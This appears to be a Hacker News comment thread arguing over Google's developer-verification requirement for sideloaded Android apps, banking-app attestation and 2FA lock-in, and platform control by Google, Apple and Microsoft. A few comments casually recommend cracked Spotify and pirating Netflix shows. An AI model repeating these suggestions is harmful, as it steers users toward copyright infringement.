I don't see anywhere in the official announcement that you will be required to "tell Google your real name and home address to install anything on your Android device". The announcement is about developer verification, not user verification.
You already can not install applications from Google Play without Google account. Google accounts are registered with personal phone number (the one you obtained from your carrier, presumably using your ID). All Google Play users are already "verified" one way or another.
This change means that people who do not use Google Play or other sources, fully controlled by Google, will no longer be able to install applications on Android.
This isn't how I've understood the change. My understanding is that developers will need to have their ID verified before they are authorised to allow their app to be sideloaded. So long as they have done that, why would the user need to have a google account to sideload the app? Wouldn't the whole thing be transparent to the end-user (for those vendors who pass the ID verification) and the only thing they'd notice is that they can no longer install the apps from vendors who haven't passed?
But as you said, the check (and denial) is happening at the time the _user_ is trying to do something _they_ wish to do (e.g. install an APK from a project on GitHub).
Much of the ecosystem of Android apps that are only distributed outside the Play store will be affected by this, as many developers won't be able or willing to submit to this process or waive their privacy (especially young developers or those making apps that are legal but often targeted by litigious companies, e.g. emulators, YouTube clients/downloaders, BitTorrent clients, etc.)
I don't deny that there will be less apps available to sideload. However, the claim I was responding to was this one:
"After this change you will have to tell Google your real name and home address to install anything on your Android device."
As far as I can tell (and nobody who has replied has contradicted me so far), that isn't true. I won't have to tell Google my real name and home address to sideload [the now smaller selection of] apps.
Define "normal people". Due to Chinese phones and sanctions and other geopolitical bullshit a significant part of the world is forced to use alternative app stores already. Yes, these people are very aware of "sideloading". (Due to Google's own previous moronic foot-shooting policy.)
> This is really bad. I think that most people on HN will agree with that.
I may prove to be wrong but I'm looking forward to seeing how this plays out & genuinely think it could be good, holistically.
There's a number of possibilities:
1. This drives most people to Apple & Android dies. iOS is mostly a better product than Android, with the exception that Android is semi-open. This removes Android's only competitive advantage.
2. This drives most people to Apple which motivates Google to do a U-turn.
3. This drives people to Graphene in such large numbers that it gets financial support, & some banks are pressurised into dropping Play Protect requirements.
I honestly don't know which of these 3 is most or least likely but all move us away from the current stagnant position of Google being the best reasonable option of a set of very bad options. A complete Apple monopoly would obviously be bad in the short term but would at least leave an opening for fresh competitors.
4. The majority of users don't know or care what sideloading is, so this has a marginal effect on userbase
You're right of course, most users don't know or care. If they did, iOS wouldn't have a 61% share of the US market.
But the % of the total market that do care is not an insignificant % of the total Android userbase. There's also a spectrum of concern - I'm a long time Android user turned iOS user: I care deeply about sideloading but ultimately the balance of pros & cons shifted for me, & I suspect will begin to for others.
They don't understand sideloading, but you know what they understand?
Weird apps that block your phone and show ads constantly (yes this exists)
Typosquatting apps
Apps that hold your phone for ransom if you don't pay a certain debt (yes this exists) https://www.welivesecurity.com/en/eset-research/beware-preda...
> how can we fix this?
Easy: tell them they won't be able to use cracked spotify anymore
> How can we fix this?
turn people onto sideloaded apps. show them Revanced and NewPipe, show them system-wide ad blockers and bloatware removal and every other thing Google doesn't want plebs to use.
people don't care about "apk side-loading," they care about apps. hook them on forbidden apps, and they'll raise hell when they can't side-load them anymore.
This is the solution.
It's like napster and torrenting. People dont care about the tech behind it - they care about the outcome.
It's just that the majority of normies dont even know it is possible (and didnt think an alternative exists to sideload).
In the EU, you would start a petition to the European Parliament in order to vote on that... Which is a tedious process but has seen some success in some fronts (like the Stop Killing/Destroying Games initiative).
For other countries... Well you get what you vote I guess.
As someone who never comments on HN, I would like to voice my absolute disapproval of this new policy. As these decisions are not made in a vacuum, I have no doubt the recent developments in the political landscape have contributed to this decision (e.g. UK Online "Safety" Act, EU Chat Control, EU Age Verification solution, probably others). Coupled with the recent "mandatory" (read: forced) upgrade of my Pixel 4a, I get the impression Google's attitude towards phones has become equivalent to Apple's: namely, the illusion of choice.
Since there are no viable alternatives, I guess it's time to go back to owning a cheap corporate/government approved phone for official business (i.e. banking), and another one that I actually use.
As an aside, the presentation[0] doesn't really go into the details how they will enforce this (on-device? Remotely? If the latter, can I just remove Play Services from my device to sideload whatever?), but you can apparently submit feedback about the verification process here[1].
[0]: https://goo.gle/play-console-android-developer-verification [1]: https://docs.google.com/forms/d/e/1FAIpQLSdpZbsJCS-f7CtMbZPn...
> Since there are no viable alternatives
Depending on your definition of "viable", you might consider GNU/Linux phones.
Feedback submitted. It takes five minutes; everyone please go through it and tell Google directly how idiotic of a decision this is.
So that's it then.
If this actually goes through, there will be no option in the mobile OS market for an OS that both:
a) allows the installation of apps without any contractual relationship with any party, and
b) allows the use of mainstream and secure apps like banking
In time, you will only be able to access banking from your desktop using an approved OS and browser with attestation...
For what conceivable reason would they make the users go on desktop, considering mobile is in the process of being fully locked down?
If anything, they'd eventually deny access from desktop, forcing everyone to login via the fully manages mobile devices without any user freedom.
Some banks are already getting there btw, as their preferred 2fa is a companion app... One small step away from making that the only option, effectively denying access to anyone without a locked down mobile device.
A recent real life example:
You can apply for an HSBC Global Money Account if you have: […] The HSBC UK Mobile Banking app (Global Money is only available via the app)
From https://www.hsbc.co.uk/current-accounts/products/global-mone...
It's already that way in my country. The few banks that still have the web version only support it for their business clients, and it's only something like two or three banks. If you're a regular client, there's not a single bank left that you can still use without a smartphone (unless you're ready to visit a branch for every little thing — so pretty much daily).
>(unless you're ready to visit a branch for every little thing — so pretty much daily).
What are you doing that you need to use your banking app daily?
It seems like a once a month affair. Pay the bills, take some cash out of the account, and you're done. Online shopping just needs a credit card, no apps required.
Since most every transaction is digitalized, checking banking app is the same as looking in your wallet.
Any limitations to access to banking is serious f**ed. Makes me want to use cash.
> Online shopping just needs a credit card, no apps required.
The app is required for two-factor authentication.
I'm not aware of your circumstances, but at least here in Finland I was able to get (and the bank was required to provide at my request) a cheap 2FA token generator device that can be used instead of the app (Danske ID). It works whether I am confirming an online transaction or signing into a service that uses the Suomi.fi centralized login system.
I requested it after they updated their Android app to have a check for pin-code enablement. Sailfish OS doesn't report it via the Android AppSupport system, so it was blocked before I grabbed an older build via Aurora and disabled it from updating. If it ever stops working, I'll only use the token. Once that stops working, I will switch banks.
My bank’s app doesn’t even work or even install on my phone because the bank considers my phone too old. So if they suddenly required the app to log in, I simply wouldn’t be able to bank with them. So they would lose my checking, investment, and HSA business when I move to another bank.
I think they worded that poorly, but didn't mean what you got from it: the point I'd take isn't that they will require you to have a desktop, but that even desktop will also have the same restrictions, so it isn't just a mobile problem.
I see, that makes sense in hindsight.
And I have to agree, sadly. We've been inching towards that over the years, and it's entirely possible banks cease providing regular web access to their accounts (which this would necessitate).
But I think there will always be at least some banks that will have web frontend, so you'll just have to be pickier.
This happened to me recently in Austria, I had to get a new phone to be able to do internet banking. You can only use the app with attestation from the PlayStore, AppStore or surprisingly Huawai store.
When I complained repeately that this was forcing me into an American or Chinese ecosystem, they said that no one cares and I'm a minority :-(.
For the desktop, you need the phone for the 2FA.
What gp is saying is that to access banking form desktop will require an approved OS and attestation just like on mobile. The current state of affairs is that an approved OS and attestation are only required on mobile but not on desktop
most banks require 2FA or similar to confirm logins and operations. There is no way around it, this is the world we are heading towards: 2 companies in the entire planet decide who and what can be done online.
Actually my bank already requires me to use the phone app for any operation on the website. When I want to login from my laptop I need to use my phone with their app to approve the login, same for almost any operation.
Ah, and it can only be installed in one device at the same time :D Don't have your phone available? Bad luck for you
> can only be installed in one device at the same time
I neither like nor understand this restriction. It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be. The device should be throwaway. I specifically keep old phones in case something happens to the new one.
WhatsApp is probably the stupidest example of only being able to be on a single device (but I'm forced to use WhatsApp for one specific purpose, so I already resent it). Signal does the same thing, so maybe it's related to the E2EE that WhatsApp licensed from Signal...
>WhatsApp is probably the stupidest example of only being able to be on a single device
that's not really an artificial limitation but a design choice. They don't store your messages, only deliver them. Once the message is on your device, it's gone from their servers, like old POP3 mail.
You think Meta would pass up an opportunity to harvest data from users?
I use the Signal fork Molly to get messages on multiple phones. One remains the primary and the others linked, but I get messages even if the primary is off.
> It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be.
As is with all two factor, but don't point that out, or the "but muh security" bros will shout you down.
The authenticator app that I use for most 2FA can be on multiple devices, and you can export and import some or all of the entries, password protected.
I would be extremely F'd if my 2FA was able to be lost or stolen due to a single device limitation.
I have a huge problem with companies using their own apps for 2FA.
Google started doing this for Gmail. To use Gmail on my laptop, I need to approve it with Gmail on my phone. I never signed up for this. I’m now afraid if I delete the Gmail app from my phone that I’ll lose access to my email.
I hate the direction “security” is taking us. It’s done in the name of security, but it feels more like blackmail to get and keep the company app on your phone.
Is that a thing Google logins can be set to require? I _can_ use the Gmail app on a device for 2FA, I can also press "try another method" and use any 2FA app.
I guess I’ll have to look. It just started happening one day.
One huge fear I have no is breaking my phone while away from home and getting locked out of everything.
I was on vacation several years ago and broke my phone (the only time I’ve ever done that), and got lucky in several ways. I had a 2nd work phone with me. I was able to use that to call an Uber to get to an Apple Store; I was lucky to be in a city with an Apple Store. Then I got lucky again that I was able to talk Apple into giving me a replacement right there instead of a repair, they happened to have a single phone in stock to do that with. Then I got lucky yet again when I went to set it up, because I had an iPad with me by dumb luck, which was able to do my Apple 2FA that I didn’t sign up for.
If I go somewhere with just my 1 phone and no second device… I’m thinking I need to setup and bring a bunch of recovery codes, which has its own risks. My plan would be to cryptically write them down and put them in a money belt, as if those got into the wrong hands I’d be screwed.
I really don’t know what people do who only have a phone and nothing else. It seems they would always have this risk.
i do like how many apps are starting to play nice with 3rd party authenticators. i use ms authenticator for a bunch of things. Although knowing MS it has some massive license fee for them to support.
De facto, this is already the case - you can use your computer as a display but to actually authorize a login or transaction you need your phone with said attestation.
Not true for either my AIB or Wise account.
True for PayPal though. I just recently had to jump through seven different hoops to verify my ID (with creepy, creepy face scans) and they absolutely refused to even start the process on desktop. Eventually got the stupid thing to work on my iPad; Android+Firefox was a no go, and it's stock Pixel 5a with Google OS.
Thankfully I don't actually rely on PayPal for anything serious, but there are artists whose commission I like to pay, and being able to actually pay them would be nice. :/
For logins, at least, they support passkeys on the desktop as well, so long as the browser does it. Which basically means Win11 or macOS, either some Blink-based browser or Safari.
I use my yubikey on both my android and linux (tumbleweed) with exclusively firefox, I have not found something that does not work.. Maybe you mean non-hardware passkeys built into the os? But one could just use keepassxc or like bitwarden, those work in Firefox and Linux as well
I mean, I'm sure it's true for some banks or financial services, but that's not really the same thing.
Does AIB still give out hardware 2fa code generators? I liked having it not tied to a phone.
Yes, you need to specifically ask for it, but you can get them and it works. I got mine last year.
A dedicated app on a locked down OS is vastly more controllable than something like a browser that can do virtually whatever it wants.
Controllable by whom? I don't do any banking on my phone exactly because I don't trust my phone to keep anything I do on my phone private.
How it generally works iso low risk operations have no restrictions, but if you want to send a large amount of money to a new contact, the banks make you approve the transaction on the phone app.
Phone apps are generally significantly more trusted because of the fact you can’t install malware that steals the session token, and they can do a Face ID check before any risky operations.
I'll just have to disable it and choose a banking app that works on the browser. Tonnes of my apps are sideloaded. Quite a few are on the playstore or the dev might upload their details.
Is it confirmed that we will even be able to disable this?
Worst comes to worse you can install something like GrapheneOS (assuming your device has an unlockable bootloader)
Will my banking apps lock me out if I do that? Will any other apps?
How will you login to the banking app in the browser without a locked down phone? In Germany, MFA is enforced and with many banks the only allowed second factor is an app on a phone.
Time to find an old second hand phone if you live in Germany, I guess. And start pirating Netflix shows that you want to watch on your phone.
Banking apps were at the forefront of freedom-eroding "safety" for a long time now.
Even aside from the privacy implications (which aren't trivial themselves,)
Doesn't this make it prohibitively difficult to do local builds of open source projects? It's been a long time since I've done this, but my recollection was that the process to do this was essentially you would build someone else's (the project's) package/namespace up through signing, but sign it locally with your own dev keys. A glance at the docs they've shared makes it sound like the package name essentially gets bound to an identity and you then can't sign it with another key. Am a I misremembering and/or has something changed in this process? Am I missing something?
Not just difficult - it becomes impossible. You can no longer develop any android app without Google's approval, just like iOS. The official emulators might not even work.
A repo is just files in a directory, so the namespace can be changed, but the whole thing stinks. Having to setup Android signing keys and needing to provide ID is not fun. It means you won't easily be able to run builds on Google certified Android devices that aren't from "approved" people.
That's where the "prohibitively difficult" part comes in... surely they don't expect every developer on every open source app in the world to have their own app registration/package name for the same app, do they? Feels like an N * M problem, if so.
Get rid of those pesky open source guys, keep the merchants who want $$$ and can pay $ to Google.
They are namespacing, like it or not, and clearly they don't care about open-source that much.
If so, then this change will likely make it illegal to distribute APKs of GPLv3 software, since the recipient couldn't run their modified version.
And thus accelerates Google's push away from APKs, preferring instead for all developers to embrace their proprietary App Bundle format. Complete with ad hoc signing performed by the Google Play store at time of download. The bundle is also customized to the device, meaning an .aab file ripped off a device won't necessarily be loadable on another device since it could have different configurations/hardware that happen to limit it.
I think anyone who works as a dev knew this was Google's endgame the moment they started circling the wagons with the app bundle stuff. It was already getting weird before that, but it was uncharacteristically out of step with historic Android.
Nope, you could, given that no Google libraries is used.
You could always run the APK on a stock AOSP build, or any fork of it in the internet.
The article didn't say much about the account approval process, but from the looks of it Google will be able to arbitrarily accept and revoke applications as they see fit. So much for an open platform, bring forth the gatekeeping!
Personally I would be fine with unsigned apps requiring the user to click through a notice before install, or having a setting to toggle to enable unsigned apps. Windows does something similar to this where unsigned binaries get a pop up warning but signed ones are executed immediately.
What they say they want to accomplish could be almost 100% accomplished with self signed certificates. Or public certificates like letsencrypt etc. if you absolutely have to have third party attestation of the key.
The fact they incidentally position themselves as the only gatekeepers rather than accomplishing the same without doing that tells you all you need to know about their intent.
That notice already exists. In fact there are 2 or 3 extra confirmations required to sideload apps today.
That's the first step toward banning NSFW apps like on Steam, I'm afraid.
The reason I chose the Android ecosystem over the Apple ecosystem, once I found out that the Maemo/Meego ecosystem was a dead end and the Openmoko ecosystem was a non-starter, is that the Android ecosystem allowed me to develop and install my own apps on my own devices whenever I wanted to, without arbitrary limitations like having to periodically plug the phone into my computer to renew some authorization. Additionally, there was even for some devices the possibility of rebuilding the whole operating system with any changes I desired.
If I'm not allowed to develop and install my own apps on my own phone, what advantage does Android have over Apple?
> what advantage does Android have over Apple?
They are cheaper and come full of spyware preinstalled by manufacturer and carrier.
Customer see the price advantage, everyone else see the data harvesting (including Google). Everyone benefits in selling cheap Android phone.
Now you would be pretty stupid to buy 1k€ Android phone like Samsung ones because they still come with preinstalled and privileged Samsung, third party and Google spyware.
For instance, my s23 had 3 preinstalled meta app. 2 systemized app, 1 was Facebook client.
> without arbitrary limitations like having to periodically plug the phone into my computer to renew some authorization
I find it easier to do a git commit once every 89 days and see my app auto refreshed through Testflight for me and anyone else I care to let use it.
If you look at the build system SaaS pricing or even IDE pricing on Show HNs here, the Xcode cloud build and distribution ecosystem is an absolute steal at $9 a month. Private Testflight (with no review) can be more convenient than that desktop cable.
> the Xcode cloud build and distribution ecosystem is an absolute steal at $9 a month. Private Testflight (with no review) can be more convenient than that desktop cable.
I genuinely can't tell whether this is sarcasm or not. Are you seriously comparing a 9$ per month plan Vs simply plugging your phone or syncing an app file wirelessly?
Are you being intentionally obtuse?
Makes sense why they had to get rid of the "don't be evil" motto. They've been on a roll.
I've seen a lot of similar sentiment on this thread, but the reason I use Android is because it gives me more control than iOS by allowing full-on painless sideloading, and custom distributions like GrapheneOS. They're doing everything they can to turn themselves into a worse Apple. All of the downsides of Apple, but none of the upsides. Apple beats them in every aspect that isn't "openness".
When will the straw break the camel's back? I'm shocked we've let it get to this point with no realistic alternatives. There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
> There's no reason a competitive Linux-based smartphone can't exist (no, I'm not counting Android in that).
Yes there is. You all don't understand that they will use remote attestation to force everyone to use approved devices with signed apps on signed OSes only
You won't be able to bank, call a cab, write a chat message, watch a youtube video or do anything relevant on a device anymore that isn't signed, approved and controlled by google. They've made us cattle and now they are going to milk us dry.
That's the blackpilled take. The whitepill is that sticking up for yourself hasn't ever been easy, but it's always been an option.
I wish there was a path to victory here. MAYBE there's an antitrust complaint to be made in the EU. But it's already being used against me everyday as a grapheneos user there are several services i am barred from using for no reason.
> There's no reason a competitive Linux-based smartphone can't exist
There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).
In my country, only cell phones certified by the government telecommunications agency (Anatel) can be imported, so I can't for instance go to the Jolla or PinePhone store and buy a Linux-based smartphone; if I tried, it would be sent back the moment the package entered the country. (See https://www.gov.br/anatel/pt-br/regulado/certificacao-de-pro... for details.)
> There is; it's the "phone" part of "smartphone". Being a phone makes the device subject to a lot more requirements (for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number).
Funnily, Google is one the few phone manufacturers who can’t make emergency calls to work. (e.g. search Pixel problems)
> for an obvious example, emergency dialing must always be available and work, and at the same time the phone must never accidentally dial the emergency number
Why are Pixel phones allowed to be sold then? Google broke emergency calling on a least three different models, and at least once across models.
Because these regulations rarely do what is written. They just lock the gates for anyone who hasn't got enough cash that says "yes we're compliant"
> There's no reason a competitive Linux-based smartphone can't exist
And it does exist: https://en.wikipedia.org/wiki/Librem_5
> Makes sense why they had to get rid of the "don't be evil" motto.
I hate how this always gets brought up because:
1. Evil has no definition, so it means nothing. They get to define what evil is for themselves. They stated their reasons they think this change is good. You can't prove it breaks their code of conduct.
2. It's straight up false, it's still in their code of conduct:
> And remember... don’t be evil, and if you see something that you think isn’t right – speak up!
https://abc.xyz/investor/google-code-of-conduct/
> They stated their reasons they think this change is good.
Right, because someone doing something evil would say outright what they're doing is evil.
> It's straight up false, it's still in their code of conduct
This is news to me. I think it's interesting that they removed it from the opening and put it at the end though.
> Right, because someone doing something evil would say outright what they're doing is evil.
That's my point. It means nothing, so who cares if it's in the code of conduct?
If this is enforced via Play Protect, then the whole mechanism can likely be disabled with:
This does not require root access and prevents Android from invoking Play Protect in the first place. (This is what AOSP's own test suite does, along with other test suites in eg. Unreal Engine, etc.)I personally won't be doing this verification for my open-source apps. I have no interest in any kind of business relationship with anyone just to publish an .apk. If that limits those who can install it to people who disable Play Protect globally, then oh well.
How long until Google decides to lock it down because "scammers" can "abuse" it?
Would be a real shame if this also nuked your safetynet trust score if they realize too many people are using this escape hatch...
I really hope this ends up being possible! Play Protect seems to jump up every so often and try to scare me into turning it on. Very annoying. I've wanted to disable Play Protect permanently, but never did the query to learn how, so thank you.
What does this break?
There shouldn't be any side effects other than rendering Play Protect inert. No other AOSP component relies on this setting.
There could of course be side effects in the future when this restriction is rolled out, as in your device's Play Integrity status could be affected and your banking app/phone wallet might not let you perform app-based payments from that device.
Some bank apps and payment processor already check if you have developer mode on and refuses to run.
Oh so that's why my bank app said it thought my old device was rooted when it wasn't...
I really hope this is done via Play Protect. You can also disable it temporarily in Google Play and install whatever you want.
Ironic that Google's supposed concern for avoiding malware will cause people to turn off their malware scanner.
I kinda feel like they'll make sure any workaround for this will ensure you can't use banking apps, Google Pay, etc.
I never really got into "phone" progrmaming, always waiting for the shenanigans to die down. But somehow the shanigans have gotten worse and for a significant chunk of the world population, the phone is the only computation device they have at all.
I never got into it because I was convinced developers would refuse to give up control over distribution when Apple started doing it. I wish I was right, but here we are.
Developers sometimes seem to be as in control as farmers are of the distribution of their produce. There's no absolute rule that gives the owners of large scale distribution networks power over both producer and consumer. It's just laws of convenience. It's easier for everyone to go through a few or just a single common broker.
There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
It limits choice. I don’t have any experience building mobile apps because I didn’t want to buy into an unfair ecosystem. That means fewer mobile apps even if distribution networks change tomorrow.
> I don’t have any experience building mobile apps because I didn’t want to buy into an unfair ecosystem
Seems like it wouldn't be much of a stretch to compare that statement to not starting a business because the economy is unfair. People indeed don't start businesses when the bureaucratic or tax overhead outweighs the financial benefit, but nobody loses sleep over an individual's hypothetical missed opportunity to learn a new skill but them. Doesn't matter to the platform owners unless it also stops being profitable, so it's their job to maintain the profitability for their ecosystem despite whatever barriers they put up.
> There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?
It's not enough to not have a law against it, we need to have and enforce laws requiring it.
I'm not so sure that we can even rely on legislation for this. I think we need new ways or new technology for collective decision making that doesn't rely on a pre existing healthy legislative environment.
Some developers did. Others, who didn't care so much, got into the app store instead, and got rich off it. Users didn't care about such principles and mobile-first has been a viable strategy for a long time now. Not having something of an app is a problem if you want to stay in many markets.
Developers want a stable, secure platform where they can reach customers that trust the platform and are willing to transact. Everything is downstream of that, including any philosophy around control.
Developers are businesses and the economics need to work. For that, safety and security is much more important than openness.
Oh! Classic Survivorship bias. You're only looking at the devs who went into business in the phone ecosystem in the first place. I'm thinking that they're there despite the barriers to entry ('shenanigans'), and the ones you encounter happen to be those who happen to place a higher value on 'other values'. As the ecosystem gets locked down more, this effect becomes stronger.
Meanwhile, you're not looking at those who left, or those who decided to never enter a broken market dominated by players convicted of monopolistic practices.
This seems much more intuitive than a hypothesis where somehow people would prefer to enter a closed market over a fair and open market with no barriers to entry.
Remember, monopolists succeed because they are distorting the market, not because they are in fact the most efficient competitor.
* https://en.wikipedia.org/wiki/Survivorship_bias
Money is a powerful motivator. For better or worse.
You now need to have an online account to setup and login on a Windows desktop. It's obvious what the trend is and it's not allowing consumers control over their stuff.
Not related to the OP, but no you don't.
Just look up how to skip the "OOTB (out of the box) experience" and you can still bypass having to set up a cloud account on Windows 11 and can just set up a local account like normal. :)
I have been a computer user, developer and a system administrator for longer than I care to recount. I don't like Windows and I don't use it at work or home. But I do encounter it from time to time, and the experience is worse each time. The last time it happened, I couldn't figure out the way to skip/bypass the cloud account set up. Would it have been possible if I tried harder, starting with a web search? Perhaps. But there is no way an average system user is going to have the patience or often the skill necessary to do it. I'm not challenging their intelligence. But people have other priorities than to jump through a dozen hoops just to preserve privacy. I would do the same if I had to set up a Windows system for urgent work.
These sorts of hurdles exist to push more and more users to their favorite workflow until the dissenting voice is too feeble to notice when they finally pull the plug on the straightforward method. The intent is certainly there, since they are quite evidently boiling the frog. Just wait for the fine day when you wake up in the morning to see an HN story just like this one about Windows login as well.
I was using Linux for 10+ years consistently before starting my current role, which is for a Windows-only business. And my god, the first few months was super annoying. ctrl+alt+t doesn't open a terminal?! click, click, click. No Vim. Wtf.
Setting things up was much more complicated as well. But I stuck it out, still hate Windows, but I've gotten a bit used to it.
> But there is no way an average system user is going to have the patience or often the skill necessary to do it.
It's like two commands. Super easy.
> But I stuck it out, still hate Windows, but I've gotten a bit used to it.
So you tolerate it. Matches what I felt. But it was more the stuff I couldn't control - like the timing of the updates and the incessant ads.
> It's like two commands. Super easy.
For you, yes. But problem for the average user is the patience required to figure it out. Also, I think the edition I used didn't have that option at all. Because I vaguely remember searching for a solution and not finding one that worked for me. Whatever it was, it will soon be like that for more or less everyone.
IIRC the method was to press F10 to open cmd and run a command there. I've heard that something changed in recent builds and it's harder
Eh! I really hope that nobody forces me onto windows again.
>But there is no way an average system user is going to have the patience or often the skill necessary to do it
Doesnt this pretty much describe the entirety of the Linux experience though?
That's why most people are not on Linux. I'm not talking about people who can search the internet or kids who just keep at it till they figure out the registry in two days. I'm talking about people who have absolutely no interest in the machine other than to browse the internet or use the office suite. Surprisingly, there are far more of such people than you'd imagine.
Last I checked, Microsoft was trying to get rid of it.
https://www.tomshardware.com/software/windows/microsoft-elim...
It's still possible to set up using only a local account, but who knows for how long.
The day windows become "Online-Only" OS will be the day i move from Windows for good.
With how much worse the experience of using Windows has gotten, why wait? Many hills have already come and gone. This is the hill you're willing to die on?
A stepping stone on a path.
Have a login. Pin features to a login. Mandate a login but w/ backdoor. Close the back door. "It's a backdoor, why not use the front door?"
For now. History has shown that workarounds for defaults tend to stop working at some point.
Not quite yet - install Windows 11 IoT LTSC with Rufus and you get a perfect version of Windows with no ads, account requirements, etc.
But I agree about the trend. Microsoft will probably block this workaround eventually.
Software distribution control didn't start with phones, it started with game consoles.
i made and released some apps in the early days. Got tired of it and got tired of the reminders from google to add banners, screenshots, submitting icons to support multiple resolutions.. notifications that apps i haven't touched in decade are no longer compatible etc.
so much extra work involved that isn't building the app.
I worry how this will affect fdroid etc.
Got tired of this with a few extensions I made too. It felt like every year or so they'd completely break some API and I'd have to go switch to the new one, then they wanted a privacy policy, then justification for permissions, etc etc. Wasn't worth the trouble eventually and I just let them die.
I got into it then got out. Everything about the Apple ecosystem was infuriating. I don't even care about the ideology here, just the annoyance.
We have 2 ecosystems for mobile and the worst case scenario is starting to be clear for Android.
I love GrapheneOS but they can only thrive if Google tolerate them. So in its current form, this is not a medium or long term solution (anymore).
We really cannot afford to think in terms of "Android OS" or open source OS anymore the problem is getting much bigger.
My guess is soon in many "free" countries, ISP will mandate connecting with a "Certified" device (someone was saying that in Brazil only cell phones certified by the teleco government agency can be imported already). And on mobile it is easy to implement since you need a (e)SIM. The Internet is still hard to control at the protocol level, but the gates are easy to mostly control (your ISP).
In terms of mobile computing I mostly care about being able to access my home network from the places I am 80% of the time (and I can always bridge to the Internet from there). So the real battle is really at the mesh and multi-hop mobile ad hoc networks. This is the aspect we neglected for 25 years.
Regarding mobile, the battle for Android is lost, time to look into things like B.A.T.M.A.N [0] so we be able to keep another open source mobile platform useful.
For anything "money" related, your bank (which is inevitably regulated) will have to mandate a certified device too. It will work on (some) Linux too.
Ever wondered why for example the Fedora project [1] is proudly part of things like The Digital Public Goods Alliance [2] who works with many govs and if you really look into it they are all about digital ids and "restoring trust"?
- [0] https://www.open-mesh.org/projects/open-mesh/wiki
- [1] https://fedoraproject.org/
- [2] https://www.digitalpublicgoods.net/
Absolutely. Governments everywhere are now pushing for online identification to access online resources. This is not a coincidence.
Google is - imho obviously - in contact with governments. You will need to reveal your verified, online identity in order to create a app. Even if you are just a hobbyist putting the app on your own phone.
1984 was supposed to be a warning, not a handbook.
>Google is - imho obviously - in contact with governments. anonymous data isnt worth anything near as much as personalised data.
Thank you, all HNers at Google, for continuing to work there.
And yes, before you ask, I have personally quit a job that paid 3x what I was able to get elsewhere over ethics. And no, I'm not rich, probably bottom 5% in terms of assets among my colleagues, coming from a lower-class background.
What the hell do the antitrust people in the US do? Google should have been chopped to bits a decade ago and Microsoft buying Github is just nonsense. Way too much potential for abuse all around.
Nothing apparently. We've stopped caring. If it's not about getting rich right now in this lifetime then it's not worth doing. I'm also convinced governments have realised monopolies are good for them. You don't need a big government if you control the few massive corporations everyone has to use.
You're giving the government too much credit. They're not even that competent at malice. It's the large companies that control it by lobbying, not the other way around.
Yep, at this point aiding google is simply inexcusable. Taking into account the scale of the harm to humanity, what is being done by these google developers is truly evil. These developers cannot feign ignorance. Not with this level of harm.
I wonder if the individuals implementing this will ever be held accountable for their crimes. I would certainly be in support for it.
It's always so rich to see comment sections on here when there's an article about a place like Palantir when the likes of Google and Meta play an even so much bigger role in enabling mass surveillance. I'm sure they'll tell themselves "well but I for one am working on something good like Waymo, or as innocuous as Google Sheets! And we don't kill people!! (please don't look at who provides the underlying services that defense runs on)". While the exact same is said by most employees at those companies they criticize so hard.
Sure, no one's perfect, and you have to draw a line somewhere. But if you're at somewhere like Google or Meta, or have been in the last decade and left for other reasons than these, you really don't have a leg to stand on in these discussions.
The way that it works is that most of the people there are not concerned with the topic, and if they are, they will be willingly gaslit into the official excuse which is provided to us, too. It being that it will greatly improve the security for the common folk.
The mechanisms are just the same as political discourse on other topics currently in UK, just much worse, because people's livelihoods actually depend on that.
> Thank you, all HNers at Google, for continuing to work there.
There are people here that most likely don't work at Google but defended Manifest V3 nonetheless. "Hacker" in HN has lost its meaning.
But my Grandma might install the wrong extensions. Please think of her.
> Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store
This is absolutely unacceptable. That's like you having to submit your personal details to Microsoft in order to just run a program on Windows. Absolutely nuts and it will not go as they think it will.
Microsoft will do this. They just have to go a little more slowly than Google or Apple because there's such a long history and expectation of being able to run any apps. But they're gradually working their way there just like Google and Apple.
Starts with scary warnings for unsigned apps (with a workaround), then they start imposing extra restrictions for unsigned apps, and then they make the SmartScreen workaround more difficult to enable (maybe it needs a registry edit), then they'll remove that workaround in certain markets/editions (maybe the Home version first). Finally they'll remove it everywhere.
>But they're gradually working their way there just like Google and Apple.
imagine microsoft having the moral high ground for once
More like baggage that is slowing them down despite their noble intentions.
They don't have higher moral ground, just more constraints.
> will not go as they think it will.
How will it go? Where are people going to go? People who draw a hard line on this can’t go to iOS for more freedom. Linux phones aren’t ready for prime time. So what’s left? Going back to a flip phone that doesn’t even have the capability of running apps in the same class?
Aside from the prospect of bad press and user protest - There are still non Play Protect certified Android phones being released, including a few rare phones that skip the Play Store altogether (including the Fire phones). So they could lose at least a little bit of ground in this area. In a sense, they are in competition with their open source offering, even though they have a lot of control over it these days.
It could also make jailbreaking more commonplace, which on the Android side has died down in recent years because sideloading is enough for most users.
What is the killer app people are sideloading these days? For people to get onboard they need to feel like they are really missing out on something they find valuable. iOS doesn't have sideloading (outside of some TestFlight loopholes), and I don't see anyone is real life talking about it. It's just activists for this kind of thing online.
I don't think the average user feels like they are really missing anything, which makes it a hard sell.
I am not the average user, but my key apps are ReVanced, Termux, OsmAnd. All sideloaded. I am on a Pixel 9XL.
I definitely fly less now, because I am tired of the Orwellian circus at the airports. I guess same mechanism will reduce my smartphone use
Why is OsmAnd sideloaded? When I visit the website it shows it in the App Store and Play Store.
i installed it from F-Droid. Prefer using the opensource ecosystem
Android forks. AOSP, GrapheneOS, LineageOS, CalyxOS.
we need more OEM unlockable phones, though. GOS is looking at getting one made, I'm planning to throw money at them to make it happen.
I've gathered that various cell networks won't let me use VoLTE on my unlocked phone with forks. I've been reluctant to install LineageOS because of that.
It isn't cell networks, no one ever on that side ever blocked Android forks.
It's the implementation that OEMs used to support VoLTE isn't compatible with AOSP APIs.
If it wasn't for Google here you'd never have VoLTE on custom ROMs, if it exists in any shape or form it's thanks to them.
You won't be able to use your banking app. Moving to Apple is the only logical step.
I won't move to Apple yet... but now there is not a reason to buy anything but the cheapest Android phone available.
And maybe a separate one to root while they still can be.
my US banking apps work on CalyxOS
